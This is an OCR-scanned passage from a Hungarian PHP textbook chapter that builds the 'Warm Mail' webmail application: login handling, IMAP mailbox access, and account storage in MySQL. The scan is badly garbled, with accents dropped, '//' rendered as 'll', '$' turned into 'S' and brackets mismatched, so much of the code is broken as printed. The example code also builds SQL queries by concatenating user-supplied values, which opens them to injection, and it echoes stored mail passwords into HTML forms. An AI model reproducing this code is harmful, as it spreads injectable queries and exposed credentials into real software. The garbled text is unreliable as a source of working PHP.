//*****************************************************************************
A

ll a fejlc eltt meghvott fggvnyek ltal generlt szveg megjelenitse


echo $allapot;

if(!hitelesitett felhasznalo_ellenorzese())
echo "<p>Be kell jelentkeznie";

if(($muvelet)

&&

($muvelet!='kijelentkezes'))

echo " a ".muvelet_formazasa($muvelet) ." mvelethez

"

echo ".</p>";
bejelentkezesi_urlap_megjelenitese($muvelet);
else

switch ($muvelet)

ll j fik ltrehozsa,

vagy fik hozzadsa vagy trlse esetn

ll jelentsk meg a fik belltsa oldalt!


case 'beallitasok-tarolasa':

case 'fiok-beallitasa':

case 'fiok-torlese':
fiok_beallitas_megjelenitese($ SESSION['hitelesitett felhasznalo']);
break;

case 'uzenet-kuldese':
if(uzenet kuldese($cimzett,

$masolatot kap,

echo "<p style=\"padding-bottom:

$targy,

$uzenet))

lOOpx\">zenet elkldve.</p>";

else
echo "<p style=\"padding-bottom:

lOOpx\">Nem sikerlt elkldeni az


zenetet.</p>";

break;

case 'torles':
uzenet torlese($ SESSION['hitelesitett_felhasznalo'],
$_SESSION['kivalasztott_fiok'],

$uzenetiD);

//szndkosan nincs 'break' - a kvetkez esettel folytatjuk

case 'fiok-kivalasztasa':

case 'postafiok-megtekintese':

458

29.fezet

ll ha a postafikot vagy a postafik megtekintst vlasztjuk,


ll postafik megjelenitse
lista_megjelenitese($_SESSION['hitelesitett_felhasznalo'),
$ SESSION['kivalasztott_fiok'));
break;

case 'fejlecek-megjelenitese':
case 'fejlecek-elrejtese':

29

case 'uzenet-megtekintese':

ll ha kivlasztottunk a listbl egy zenetet,

vagy egy zenetet nznk,

ll a fejlcek elrejtse vagy megjelenitse lehetsget vlasztjuk,


ll akkor tltsk be az zenetet!
$teljesfejlecek = ($muvelet == 'fejlecek-megjelenitese');
uzenet_megjelenitese($_SESSION['hitelesitett_felhasznalo'),
$_SESSION['kivalasztott_fiok' J ,
$uzenetiD,

$teljesfejlecek);

break;

case 'valasz-mindenkinek':

ll a msolatot kap sor bellitsa a korbbi,

msolatot kap sor alapjn

if (! $imap)
$imap = postafiok_megnytasa($_SESSION['hitelesltett felhasznalo'],
$ SESSION['kivalasztott_fiok'));

if($imap)
$fejlec

imap_header($imap,

$uzenetiD);

if($fejlec->valasz eim)
$cimzett

$fejlec->valasz eim;

else

$cimzett

$fejlec->felado_cime;

$masolatot kap
$targy = "Re:

$fejlec->masolatot kap_c1me;

".$fejlec->targy;

$tartalom = idezojel hozzaadasa(stripslashes(imap_body($imap,

$uzenetiD)));

imap_close($imap);
uj uzenet urlap_megjelenitese($ SESSION['hitelesitett felhasznalo'),
$cimzett,

$masolatot kap,

$targy,

$tartalom);

break;
case 'valasz':

ll vlaszeimknt a levlfejlcben elkldtt eim hasznlata,


ll vagy annak hinyban a felad cime
if( '$imap)
$imap

postafiok_megnyitasa($ SESSION['hitelesltett_felhasznalo'),
$ SESSION['kivalasztott_fiok']);

if($imap)
$fejlee

imap_header($imap,

$uzenet!D);

Webalap levelezszolgltats ltrehozsa

459

lf($fejlec->valasz eim)
$cmzett
else

$fejlec->valasz_cim;

$cmzett

$fejlec->felado_cime;

$targy = "Re:

".$fejlec->targy;

$tartalom = idezojel_hozzaadasa(stripslashes(imap_body($imap,

$uzenetiD)));

imap_close($imap);

uj_uzenet_urlap_megjelenitese($_SESSION['hitelesitett_felhasznalo'l,
$cmzett,

$masolatot kap,

$targy,

$tartalom);

break;

case 'tovabbitas':

ll zenet belltsa az aktulis levl idzett tartalmaknt


if (! $imap)
$imap = postafiok_megnyitasa($_SESSION['hitelestett felhasznalo'l,
$ SESSION['kivalasztott_fiok'l );

if($imap)
$fejlee

imap_header($imap,

$uzenetiD);

$tartalom = idezojel_hozzaadasa(stripslashes(imap_body($imap,
$targy =

"Fwd:

$uzenetiD)));

".$fejlec->targy;

imap close($imap);

uj_uzenet_urlap_megjelenitese($_SESSION['hitelesitett_felhasznalo'l,
$cmzett,

$masolatot_kap,

$targy,

$tartalom);

break;

case 'uj-uzenet':
uj_uzenet_urlap_megjelenitese($_SESSION['hltelesltett_felhasznalo'l,
$cmzett,

$masolatot_kap,

$targy,

$tartalom);

break;

//*****************************************************************************
ll 4.

rsz:

lblc

//*****************************************************************************
html lablec letrehozasa();
?>

Az index.php kd esemnykezel megkzeltssel dolgozik. Tudja, hogy milyen fggvnyeket kell

bekvetkezsekor meghvni. Ezeket

az

esemnyeket ebben az esetben

az

az

egyes esemnyek

vltja ki, hogy a felhasznl az oldal klnb-

z gombjaira kattint, ezekkel a kattintsokkal pedig lnyegben kivlaszt egy mveletet. A gombok tbbsgt a gomb_
megjelenitese () fggvny lltja el, de rlapok klds gombja esetn az urlap_gomb_megjelenitese() fggvnyt

hasznljuk. Mindkt fggvny a kimeneti_fuggvenyek.php knyvtrban tallhat, s


index.php?muvelet=kijelentkezes rlap URL-jeire ugrik.

az

29

460

29. fejezet

Az index.php meghvsakor a muvelet vltoz rtke hatrozza meg az aktivland esemnykezelt.


A kd az albbi ngy f rszbl ll:
l.

Nmi elkszt munkra van szksg, mieltt elkldjk a bngsznek az oldal fejlct; pldul elindtjuk a munka
menetet, elfeldolgozst vgznk a felhasznl ltal kivlasztott mvelethez, illetve eldntjk, hogyan kell egyltaln
kinznik a fejlceknek.

2.

Feldolgozzuk s elkldjk a felhasznl ltal kivlasztott mveletnek megfelel fejlceket s mensort.

3.

A kivlasztott mvelet alapjn eldntjk, hogy a kd melyik trzst kell vgrehajtani. A klnbz mveletek klnb
z fggvnyhvsokat vltanak ki.

29

4. Elkldjk az oldal lblct.


Ha belenznk az index. php kdba, lthatjuk, hogy a ngy szakasz megjegyzsekkel lerr egymstl elvlasztva. Ahhoz,
hogy a kd minden sort megrtsk, menjnk vgig rajta az oldal minden egyes mvelett tnylegesen kiprblval

Be s kijelentkezs
Amikor egy felhasznl betlti az index. php oldalt, a 29.2 brn mutatott kimenetet ltja.

29.2 bra: A Warm Maii alkalmazs bejelentkezsi fellete felhasznli nevet s jelszt kr.
Az alkalmazs alaprtelmezsben a bejelentkezsi kpernyt jelenti meg. Mivel a $muvelet mg nincsen kivlasztva, s
nincsenek mg bejelentkezsi adatok, a PHP elszr a kvetkez kdot futtatja le:
include ('beillesztett fuggvenyek.php');
session_start();

Ezek a sorok elindtjk a $hitelesitett_felhasznalo s a $kivalasztott_fiok munkamenet- (session) vltoz


nyomon kvetst lehetv tev munkamenetet. (E kt vltoz t ksbb hozzuk majd ltre.)
Mint az eddigi sszes alkalmazsban, itt is ltrehozzuk a rvid vltozneveket. A PHP gyorstalpal cm l. fejezet ta ezt
az sszes, rlaphoz ktd kdban megtettk, gy a muvelet vltoz kivtelvel szt sem rdemelne az egsz. Arrl fggen,
hogy az alkalmazs klnbz rszeiben honnan szrmazik, ez a vltoz lehet GET s lehet POST tpus. Ezrt a
$_REQUEST tmbbl kell kinyernnk. Ugyangy kell eljrnunk a fiok vltozval is, mert ltalban ugyan GET, a fik trlse

kor azonban POST mdszerrel rjk el.


A testre szabott felhasznli felletet egy tmb segtsgvel mentjk el, ezzel szablyozzuk az eszkzsvon megjelen gom
bokat. Az albbi kdsorral ltrehozunk egy res tmbt:
$gombok = array();

Ezt kveten meghatrozzuk az oldalon megjelenteni kivnt gombokat:


$gombok[O l
$gombok[l]

'postafiok-megtekintese';
= 'uj-uzenet';

$gombok[2] = 'fiok-bealltasa';

Ha ksbb a felhasznl rendszergazdaknt jelentkezik be, tovbbi gombokat adunk ehhez a tmbhz.
Ami a fejlcet illeti, egyszer vanlia sznt ksztnk:
html fejlee letrehozasa($_SESSION['hitelesitett_felhasznalo'],
$ SESSION['kivalasztott_fiok']);

eszkozsav_megjelenitese($gombok);

"Warm Mail",

Webalap levelezszolgltats ltrehozsa

A fenti kd az oldal cmt s a fejlcet, illetve a gombokbl ll eszkzsvot jelenti meg

461

(29.2 bra). A hasznlt fggvnyeket

a kimeneti_ fuggvenyek. php fggvnyknyvtr tartalmazza, de mivel vgeredmnyk egyrtelmen ltszik az brn,
rszletesebben nem foglalkozunk velk.
Most kvetkezik a kd trzse:
if(!hitelesitett_felhasznalo_ellenorzese())
echo

"<p>Be kell jelentkeznie";

if(($muvelet)

&&

($muvelet!='kijelentkezes'))

29

echo " a ".muvelet formazasa($muvelet)." mvelethez ";

echo ".</p>";
bejelentkezesi_urlap_megjelenitese($muvelet);

A hitelesitett_felhasznalo_ellenorzese() fggvny a felhasznaloi_hitelesites_fuggvenyek. php


knyvtrbl szrmazik. A korbbi projektekben is hasznltunk hasonl kdot; ellenrzi, vajon a felhasznl bejelentkezett-e.
Amennyiben - a pldhoz hasonlan - mg nem tette ezt meg, a 29.2 brn lthat bejelentkezsi felletet jelentjk meg sz
mra. Az rlapot a kimeneti_fuggvenyek.php knyvtrban tallhat bejelentkezesi_urlap_megjelenitese ()
fggvny lliga el.

Ha a felhasznl megfelelen tlttte ki az rlapot, s a "Bejelentkezs" gombra kattint, a 29.3 brn lv kimenetet fogja

ltni.

-.,.

29.3 bra: A jelhasznl

.
' .

.: .

'

8i

sikeres bejelentkezse utn kezdheti az alkalmazst hasznlni.

A kd futtatsa sorn klnbz kdrszeket aktivl unk. A bejelentkezsi rlap kt mezvel rendelkezik:
$felhasznalo i_nev s $jelszo. Amennyiben a felhasznl kitlttte ezeket, az elfeldolgoz kd kvetkez rsze fog

lefutni:
if ($felhasznaloi nev

ll

$jelszo)

if(bejelentkezes($felhasznaloi_nev,

$jelszo))

$allapot .= "<p style=\"padding-bottom:

lOOpx\">Sikeres bejelentkezs.</p>";

$_SESSION['hitelesitett felhasznalo'l = $felhasznaloi_nev;


if(fiokok _szama( $_SESSION ['hitelesitett_felhasznalo' l)==l)

$fiokok = fiok_lista lekerese($_SESSION['hitelesitett felhasznala'l );


$_SESSION['kivalasztott_fiok'l

else

= $fiokok[Ol;

$allapot

"<p style=\"padding-bottom:

lOOpx\">Sajnos nem sikerlt

belptetni a megadott felhasznli nvvel s jelszval.</p>";

A fenti sorokbl kiderl, hogy a bejelentkezes () fggvnyt hvja meg, ami a 27., illetve a 28. fejezetben hasznlt, azo
nos nev fggvnyhez hasonl. Ha rninden rendben van, a felhasznli nevet a hitelesitett_felhasznala nev munka
menet-vltozban jegyezzk fel.
A bejelentkezs elrt belltott gombok mell egy jabb kerl, ami lehetv teszi a bejelentkezett felhasznlnak a kijelent
kezst:

462

29.fezet

if(hitelesitett_felhasznalo_ellenorzese())
$gombok[4]

'kijelentkezes';

A ..Kijelentkezs" gombot a 29.3 brn lthaguk.


A kd fejlcet elllt rszvel jra megjelentjk a fejlcet s a gombokat.A kd trzsben a korbban belltott llapot
zenetet jelentjk meg:
echo $allapot;

Most mr csak a lblcet kell megjelenteni, majd vrhatjuk a felhasznl kvetkez lpst.

29

Felhasznli fikok belltsa


Amikor a felhasznl elszr hasznlja a Warm Mail levelezrendszert, ltre kell hoznia a felhasznli fikjt. Ha a ,.Fik bel
ltsa" gombra kattint, a muvelet vltoz rtkt fiok-beallitasa-ra lltja, s jra meghvja

az

index. php fjlt. Ekkor

a 29.4 brn lthat fellet jelenik meg a felhasznl bngszjben.

29.4 bra: A felhasznlnak

be kell lltania felhasznli fikjt ahhoz, hogy elolvashassa leveleit.

Trjnk vissza a 29.2 pldakdban szerepl kdhoz! A $muvelet vltoz mostani rtke matt a korbbitl eltren visel
kedik a kd.Valamennyire a megjelen fejlc is ms lesz:
html feJlec_letrehozasa($_SESSION['hitelesitett_felhasznalo'],
muvelet_formazasa( $muvelet) ,

"Warm Mail -

".

$ SESSION ['kivalasztott_fiok' l ) ;

Ennl is fontosabb, hogy az oldal trzsnek tartalma is ms lesz:


case 'beallitasok-tarolasa':
case 'fiok-beallitasa':
case 'fiok-torlese':
fiok_beallitas_megjelenitese($

SESSION['hitelesitett felhasznalo']);

break;

Ez a tipikus minta: minden parancs ms fggvnyt hv meg.Jelen esetben a fiok_ beallit as_megjelenit ese() fgg
vnyt hvjuk meg. Ennek kdjt a 29.3 pldakdban olvashaguk.
29.3 pldakd: A kimeneti_fuggvenyek. php

knyvtr fiok_ beallitas _megjelenitese () fggvnye- A felhaszn

lifik adatait bekr s megjelent fggvny


function fiok_beallitas_megjelenitese($hitelesitett_felhasznalo)
//res 'j fik' rlap megjelenitse

fiok_ urlap_megjeleni tese($hitelesitett_felhasznalo);


$lista
$fiokok

fiokok_lekerese($hitelesitett_felhasznalo);
=

sizeof($lista);

ll minden eltrolt fik megjelenitse


foreach($lista as $kulcs

=>

$fiok)

ll rlap megjelenitse az sszes fik adatval.


ll figyeljk meg,

hogy HTML-ben kldjk el a fikok jelszavait!

Webalap levelezszolgltats ltrehozsa

463

ll ez nem igazn j tlet


fiok_urlap_megjelenitese($hitelesitett_felhasznalo, $fiok['fiok_azonosito'l,
$fiok['szerver'l,$fiok['tavoli_felhasznalo'l,
$fiok ['tavoli j elszo' l , $fiok['tipus' l , $fiok['port'l);

Amikor meghvjuk a fiok_beallitas_megj elenitese ( ) fggvnyt, j felhasznli fik felvitelre alkalmas, res rlapot jelent meg, amit a felhasznl meglv fikjainak adatait tartalmaz, szerkeszthet rlapok kvetnek. A fiok_urlap_
megj elenitese() fggvny a 29.4 brn lthat rlapot hozza ltre. Pldnkban ezt krflekppen hasznljuk: paramterek

nlkl egy res rlapot, a paramterek tadsa esetn pedig meglv rekordot jelent meg. A fggvny a kimeneti_
fuggvenyek.php knyvtrban helyezkedik el; egyszer HTML kimenetet llt el, ezrt a rszleteibe most nem megynk bele.

A meglv felhasznli fikokat a levelezo_fuggvenyek. php knyvtr fiokok_lekerese() fggvnye keresi vissza;
ennek kdjt a 29.4 pldakdban ltjuk.
29.4 pldakd: A levelezo_fuggvenyek. php knyvtr fiokok_lekerese() fggvnye- Az adottfelhasznlfikjainak
sszes adatt visszakeresfggvny
function fiokok_lekerese($hitelesitett_felhasznalo)
$lista = array();
if($kapcsolat=adatbazishoz_kapcsolodas())
$lekerdezes = "SELECT

FROM fiokok

WHERE felhasznaloi_nev
$eredmeny

'".$hitelesitett_felhasznalo."'";

$kapcsolat->query($lekerdezes);

if($eredmeny)

while($beallitasok = $eredmeny->fetch_assoc())
array_push($lista, $beallitasok);
else

return false;

return $lista;

Mint lthatjuk, a fiokok _lekerese() fggvny kapcsoldik az adatbzishoz, visszakeresi az adott felhasznl fikjait,
majd tmbknt visszaaclja azokat.

j felhasznli fik ltrehozsa


Ha a felhasznl kitlti a fik rlapot, s a.Vltoztatsok mentse" gombra kattint, a beallitasok-tarolasa mveletet
aktivlja. Nzzk meg az index.php fjlban az ezt az esemnyt kezel kdot! Az elfeldolgozsi rszben az albbi kdot
futtatjuk:
case 'beallitasok-tarolasa':
fiok_beallitasok_tarolasa($_SESSION['hitelesitett felhasznalo'l, $POST);
break;

A fiok_ bealli ta sok_ tarolasa () fggvny eltrolja az adatbzisban az j felhasznli fik adatait. A fggvny kdjt
a 29.5 pldakd mutatja.
29.5 pldakd: A levelezo_fuggvenyek. php knnyvtr fiok_beallitasok_tarolasa () fggnye-Afelhasznl j
fikjt az adatbzisban e/trol fggvny
function fiok_beallitasok_tarolasa($hitelesitett felhasznalo, $beallitasok)
if(!kitoltott($beallitasok))

29

464

29.fezet

echo "<p>Minden mez6t ki kell tlteni. Krjk,

prblja jra!</p>";

return false;
else {
if($beallitasok['fiok')>0)
$lekerdezes = "UPDATE fiokok SET szerver = '".$beallitasok[szerver) ."',
port = ".$beallitasok[port) .",
tavoli felhasznala =
tavoli jelsza =

29

'n .

tipus = '".$beallitasok[tipus)."',

'".$beallitasok[tavoli felhasznalal ."',

$beallitasok[tavoli j elszol.

n'

WHERE fiok _azonos ito = '". $bealli tasak [fiok) ."

'

AND felhasznaloi nev = '".$hitelesitett felhasznalo."'";


else {
$lekerdezes

"INSERT INTO fiokok VALUES ('".$hitelesitett felhasznalo."',


'".$beallitasok[szerver)."',
'".$beallitasok[tipus) ."',

'".$beallitasok[port)."',

'".$beallitasok[tavol1 felhasznalal ."',

'".$beallitasok[tavoli_jelszo)."',

if($kapcsolat=adatbazishoz kapcsolodas())

NULL)";

$eredmeny=$kapcsolat->query($lekerdezes);
if ($eredmeny)
return true;
else

return false;
else

echo "<p>Nem sikerlt eltrolni a vltoztatsokat.</p>";


return false;

A fenti sorokbl kiderl, hogy a fiok_beallitasok_tarolasa ( ) fggvnyerr belli kt vlasztsi lehetsg

az

j fel

hasznli fik ltrehozsa, illetve a meglv fik mdostsa. A fggvny a megfelel lekrdezst lefi.matva menti el a felhaszn
li fik adatait.
Az adatok eitraisa utn az index. php kd trzshez trnk vissza:
case 'beallitasok-tarolasa':
case 'fiok-beallitasa':
case 'fiok-torlese':
fiok_beallitas_megjelenitese($ SESSION['hitelesitett_felhasznalo'));
break;

Ezt kveten a fiok_beallitas_megjelenitese() fggvny meghvsval jra megjelentjk a felhasznli fik adata
it. Ezttal mr az jonnan ltrehozort fikot is lthatjuk itt.

Meglv felhasznli fik mdostsa


A meglv fikok mdostsnak folyamata igen hasonl.A felhasznl megvltoztatja a fik belltsait, majd a,.Vltoztatsok
mentse" gombra kattint. Ezzel ismt a beallitasok-tarolasa mveletet indtja el, ami ez alkalommal nem j adatokat
szr be, hanem mdostja a meglvket.

Felhasznli fik trlse


Ha a felhasznl trlni szereme egy fikot, a fikok listja alatt megjelen,.Fik trls' gombra kell kattintania. Ezzel a fiok
torlese mveletet vltja ki.

Az index.php kd elfeldolgoz rszben az albbi sorokat futtatjuk:

Webalap levelezszolgltats ltrehozsa

465

case 'fiok-torlese':
fiok-torlese($_SESSION['hitelesitett_felhasznalo'l,

$fiok);

break;

Ez a kd a fiok-torlese() fggvnyt hvja meg. A fggvny kdjt a 29.6 pldakd mutatja. A fik trlst a fejlc eltt
kell kezelni, mert a hasznlni kvnt fik kvlasztsa a fejlcben trtnik. A fejlc megjelentse eltt ezrt mdostani kell
a

fikok listjt.

29.6 pldakd:

A levelezo_fuggvenyek.php knyvtr fiok_torlese ()fggvnye- Adott fik adatait trlfggvny

function fiok_torlese($hitelesitett_felhasznalo,

$fiok_azonosito)

ll a felhasznl egyik fikjnak trlse az adatbzisbl


$lekerdezes = "DELETE FROM fiokok WHERE fiok_azonosito = '".$fiok_azonosito."'
AND felhasznaloi nev = '".$hitelesitett_felhasznalo."'";
if($kapcsolat=adatbazishoz_kapcsolodas())

$eredmeny = $kapcsolat->query($lekerdezes);
return $eredmeny;

Azt kveten, hogy a vgrehajts visszakerl az index. php fjlhoz, a kd trzse az albbi kdot futtatja:
case 'beallitasok-tarolasa':
case

'fiok-beallitasa':

case 'fiok-torlese':
fiok_beallitas_megjelenitese($ SESSION['hitelesitett felhasznalo'l);
break;

Vegyk szre, hogy ez ugyanaz a kd, mint amit korbban futtattunk; ez egyszeren a felhasznli fikok listjt jelenti meg.

Levl olvassa
Miutn a felhasznl belltotta fikjt vagy fikjait, tovbblphetnk a kvetkez feladatra: kapcsolds ezekhez a fikokhoz,
s a felhasznl leveleinek beolvassa.

Postafik kivlasztsa
A felhasznlnak k kell vlasztania azt a postafi[9t, amelynek a leveleit szeretn elolvasni. Az aktulisan kivlasztott fikot
a $kivalasztott_fiok munkamenet-vltozban troljuk. Ha a felhasznl egyetlen fikot regisztrlt a rendszerben, akkor
bejelentkezs utn automatikusan az lesz kivlasztva:
if(fiokok_szama($_SESSION['hitelesitett_felhasznalo'l) ==l)

$fiokok = fiok_lista_lekerese($_SESSION['hitelesitett felhasznalo'l);


$_SESSION[ 'kivalasztott_fiok'l

$fiokok[Ol;

A levelezo_fuggvenyek. php knyvtr fiokok_szama () fggvnye llaptja meg, hogy a felhasznl egynl tbb
postafikkal rendelkezik-e; a fggvny kdjt a 29.7 pldakdban talljuk. A fiok_lista_lekerese () fggvny a felhasz
nl fikjainak azonostit tartalmaz tmbt ad vissza. Jelen esetben egyeden fik - s gy egyeden azonost - ltezik, amit
a

tmb O . rtkeknt rhetnk el.

29

466

29. fejezet

29.7 pldakd: A levelezo_fuggvenyek.ph p

knyvtr fiokok_szama() fggvnye- A fggvny megllaptja, hogy az

adott felhasznl hny postafikot lltott be


function fiokok_szama($hitelesitett_felhasznalo)

ll a felhasznlhoz tartoz fikok szmnak kicteritse


$lekerdezes = "SELECT COUNT(*)

FROM fiokok WHERE

felhasznaloi nev =

29

'".$hitelesitett_felhasznalo."'";

lf($kapcsolat=adatbazlshoz kapcsolodas())
Seredmeny

$kapcsolat->query($lekerdezes);

if($eredmeny)

$sor = $eredmeny->fetch_array();
return $sor[0);

return 0;

A fiok_lista_lekerese () fggvny a korbban mr ltott fiokok_le kerese () fggvnyhez hasonl, a klnbsg


csupn annyi, hogy ez csak a fikok nevt keresi vissza.
Ha a felhasznl tbb fikot regisztrlt, akkor ki kell vlasztania a hasznlni kivntat. Ebben az esetben a fejlc egy SELECT
HTML elemet jelent meg. ami az elrhet postafikok listjt jelenti meg. Ha a felhasznl kivlasztja valamelyiket, automa
tikusan megjelenik annak tartalma (29 .5 bra).

29.5 bra: A SELECT

listbl trtn kivlaszts utn a postafik tartalma letltdik s megjelenik.

A SELECT listt a kimeneti_fuggvenyek.ph p knyvtr html_fejlee _letrehozasa() fggvnye lltja el,


ahogy ez az albbi kdrszletbl is kiolvashat:
ll a fik kivlasztsnak lehet6sgre csak akkor van szksg,

ha a

ll felhasznlnak egynl tbb fikja van


if(fiokok_szama($hitelesitett_felhasznalo) >l)

echo "<form action=\"index.php?action=postafiok-megnyitasa\" method=\"post\">


<td bgcolor=\"lff6600\" align=\"right\" valign=\"middle\">";
fiok_valaszto_megjelenitese($hitelesitett_felhasznalo,

$kivalasztott_fiok);

echo "</td>
</form>";

ltalban nem foglalkoztunk a pldban hasznlt HTML kdokkal, de a fiok_valaszto_ megjeleni tese() fggvny
ltal ellltott HTML rdemes r, hogy kivtelt tegynk vele. Az aktulis felhasznl fikjaitl fggen a fiok_ valasz to_
megjelenitese() fggvny a kvetkezhz hasonl HTML-t hoz ltre:
<select
onchange="window.location=this.options[selectedlndex) .value
name=fiok">
<option

Webalap levelezszolgltats ltrehozsa

467

value="index.php?action=fiok-kivalasztasa&fiok=4" selected >


thickbook.com
</option>
<option
value= index. php?action=fiok-kivalasztasa&fiok=3 ">
localhost
</option>
</select>

A kd nagy rsze egyszeren egy HTML SELECT elem, de egy kis JavaScriptet is tartalmaz. A PHP nem csak HTML-t
kpes ellltani, hanem kliensoldali szkriptek ltrehozsra is hasznlhat.
Amikor vltozs esemny kvetkezik be az elemben, a JavaScript a kivlasztott elem rtkr adja a window.location
vltoznak. Ha a felhasznl a SELECT els elemc vlasztja ki, a window .location rtke 'index.php?action=fiok
kivalasztasa&fiok=lO' lesz. Ennek eredmnyeknt betltdik ez az URL. Amennyiben a felhasznl bngszje nem

tmogatja a JavaScriptet, vagy a JavaScript ki van benne kapcsolva, akkor a kdnak semmilyen hatsa nem lesz.
A kimeneti_fuggvenyek. php knyvcr fiok_valaszto_megjelenitese() fggvnye lekri az elrhet fi
kok listjt, s azt felhasznlva megjelenti a SELECT elemet. Ezen tlmenen a korbban mr megvizsglc fiok_lista_
lekerese () fggvnyt is hasznlja.

A SELECT listban lv elemek brmelyiknek kivlasztsa a fiok-kivalasztasa esemnyt vltja ki. Ha a 29.5 brn
lv URL-re pillanrunk, lthatjuk, hogy ez az esemny, valamint a kivlasztott fik azonosrja hozz lett fzve az URL-hez.
Ezen GET vltozk hozzfzsvel kt dolgot rnk el. Elszr is az index.ph p elfeldolgozsi rszben a kivlasztott
fikot troljuk el a $ki valasztott_fiok munkamener-vltozban:
case 'fiok-kivalasztasa':

ll ha ltez fikot vlasztott,

mentsk el munkamenet-vltozknt!

if(($fiok) && (fiok_letezik($_SESSION['hitelesitett felhasznalo'],


$ SESSION['kivalasztott_fiok' l

$fiok)))

$fiok;

break;

Msodsorban a kd trzsrszben a kvetkez kd lesz vgrehajcva:


case 'fiok-kivalasztasa':
case 'postafiok-megtekintese':

ll ha a postafikot vagy a postafik megtekintst vlasztjuk,


ll postafik megjelenitse
lista_megjelenitese($_SESSION['hitelesitett_felhasznalo'],
$ SESSION['kivalasztott_fiok']);
break;

Lthatjuk, hogy ugyanazt a mveletet hajtjuk itt vgre, mintha a felhasznl a"Postafik megrekinrse" lehetsget vlasz
totta volna ki. A kvetkez rszben ezt a mvelet vizsgljuk meg rszletesen.

Postafik tartalmnak megtekintse


A postafik tartalmt a lista_megjelenitese () fggvnnyel jelenthetjk meg. A fggvny a postafikban rallhat sz
szes zenet listjt mutatja meg. Kdjt a 29.8 pldakd tartalmazza.
29.8 pldakd: A kimeneti_fuggvenyek.ph p

knyvtr lista_megjelenitese() fggvnye- A postafikban lv

sszes zenetet megjelent fggvny


function lista_megjelenitese($hitelesitett_felhasznalo,

$fiok_azonosito)

ll a postafikban lev zenetek listjnak megjelenitse


global $tablazat_szelessege;

if(!$fiok_azonosito)

echo "<p style=\"padding-bottom:

J else {

lOOpx\">Nincs postafik kivlasztva.</p>";

29

468

29. fejezet

$imap = postafiok_megnyitasa($hitelesitett_felhasznalo,

$fiok_azonosito);

if($imap)

echo "<table width=\"".$tablazat_szelessege."\" cellspacing=\"0\"


cellpadding=\"6\" border=\"0\">";

$fejlecek

29

imap_headers($imap);

ll tformzhatnnk ezeket az adatokat,

vagy ms informcikat is

ll lekrhetnnk az imap_fetchheader fggvnyekkel,


ll ez sem rossz,

de sszefoglalsknt

gy egyszeren csak kratjuk

$uzenetek

sizeof($fejlecek);

for($i = 0;

$i<$uzenetek;

$i++)

echo "<tr><td bgcolor=\"";


if($i%2)

echo "#ffffff";
else

echo "#ffffcc";

echo "\"><a href=\"index.php?muvelet=uzenet-megtekintese&uzenetiD="


. ($i+l)."\">";
echo $fejlecek[$i];
echo "<la><ltd><ltr>\n";

echo "<ltable>";
else

$fiok = fiok beallitasok lekerese($hitelesitett_felhasznalo,


echo "<p style=\"padding-bottom:

$fiok _azonosito);

lOOpx\">Nem sikerlt megnyitni a(z)

".$fiok['szerver']." postafikot.<lp>";

Tnylegesen a lista_megjelenitese () fggvnyben kezdjk hasznlni a PHP IMAP fggvnyeit. A fggvny kt


kulcsrsze a postafik megnyitsa s az zenetfejlcek olvassa.
Felhasznli fikhoz tartoz postafikot a levelezo_fuggvenyek. php knyvtr postafiok_megnyitasa () fggv
nyt meghvva nyirunk meg. A 29.9 pldakd ezt a fggvnyt mutatja.
29.9 pldakd: A levelezo_fuggvenyek. php knyvtr postafiok_megnyitasa ()fggvnye- Ezzel afggvnnyel
kapcsoldunk afelhasznl postafikjhoz
function postafiok_megnyitasa($hitelesitett felhasznalo,
ll ha csak egy postafik van,

$fiok_azonosito)

akkor vlasszuk ki!

if(fiokok_szama($hitelestett felhasznalo)==l)

$fiokok = fiok_lista lekerese($hitelesitett_felhasznalo);


$ SESSION['kivalasztott_fiok']
$fiok_azonosito

$fiokok[O];

$fiokok[O];

ll csatlakozs a felhasznl ltal kivlasztott POP3 vagy IMAP szerverhez


$beallitasok

fiok_beallitasok_lekerese($hitelesitett felhasznalo,

$fiok_azonos ito);

Webalap levelezszolgltats ltrehozsa

469

if(!sizeof(Sbeallitasok))
return 0;
Spostafiok

1{1 .Sbeallitasok[szerver];

if(Sbeallitasok[type]==1POP31)
Spostafiok
Spostafiok

.=

1lpop31;

1 : 1 Sbeallitasok[port J

ll figyelmeztets elnyomsa,

1)INBOX 1;

ne felejtsk el ellenrizni a visszatrsi rtket!

@Simap = imap_open(Spostafiok,

Sbeallltasok[1tavoli_felhasznalo1],

Sbeallitasok[1tavoli_jelszo1]);
return Simap;

A postafikot tnylegesen az i map_open ( ) fggvnnyel nyitjuk meg, amelynek prototpusa a kvetkez:


int imap_open (string postafiok,

string felhasznaloi_nev,

string jelsza

[,

int opciok])

A fggvnynek tadand paramterek a kvetkezk:


postafiok-Ennek a karakterlncnak kell tartalmaznia a kiszolgl s a postafik nevt, illetve opcionlisan a port
szmt s a protokoll tpust. A szering formtuma a kvetkez:
{hostnevlprotokoll:port)fioknev

Ha a protokollt nem hatrozzuk meg, akkor alaprtelmezsben az !MAP lesz. Az ltalunk rt kdban megfigyelhet,
hogy amennyiben a felhasznl egy adott fikhoz a POP3 protokollt vlasztotta ki, akkor mi is ezt lltjuk be.
Pldul ahhoz, hogy a helyi gprl, az alaprtelmezett portokat hasznlva olvassuk be a leveleket, a kvetkez fiknevet
kell hasznlni !MAP protokoll esetn:
{localhost:l43)INBOX

POP3 protokoll esetn pedig ezt:


{localhostlpop3:110)INBOX
felhasznaloi nev- A fikhoz tartoz felhasznli nv.
jelsza-A fikhoz tartoz jelsz.

A fggvny opcionlis paramtereivel olyan dolgokat lltharunk be, rnint pldul az "open mailbox in read-only
mode'; vagyis a postafik megnyitsa csak olvassi mdban.

Figyeljk meg, hogy mieltt a postafikot meghatroz karakterlncot radtuk volna az imap_open ( ) fggvnynek, da
rabonknt raktuk ssze az sszefih mveleti jel segtsgve!! gyeljnk e karakterlnc ellltsnl, mert a {S karaktereket
tartalmaz sztringek problmkat okozhatnak a PHP-ben.
Ha a postafik megnyithat, akkor !MAP adatfolyamot (stream) ad vissza a fggvnyhvs, amennyiben nem, akkor pedig
false lesz a visszatrsi rtk. Ha mr befejeztk a munkt az !MAP adatfolyammal, az imap_close(imap_stream)

fggvnnyel zrhatjuk be. A fggvnyben az !MAP adatfolyamot adjuk vissza a f alkalmazsnak. Ezt kveten az imap_
headers () fggvnyekkel kapjuk meg a megjelentend e-mail fejlceket:
$fejlecek

imap_headers(Simap);

Ez a fggvny az abban a postafikban tallhat sszes zenet fejlcadatt adja vissza, amelyikhez kapcsoldtunk. Az infor
mcikat tmbknt kapjuk vissza, zenetenknt egy-egy sor adattal. Az informci ekkor mg formzaclan, a fggvny zene
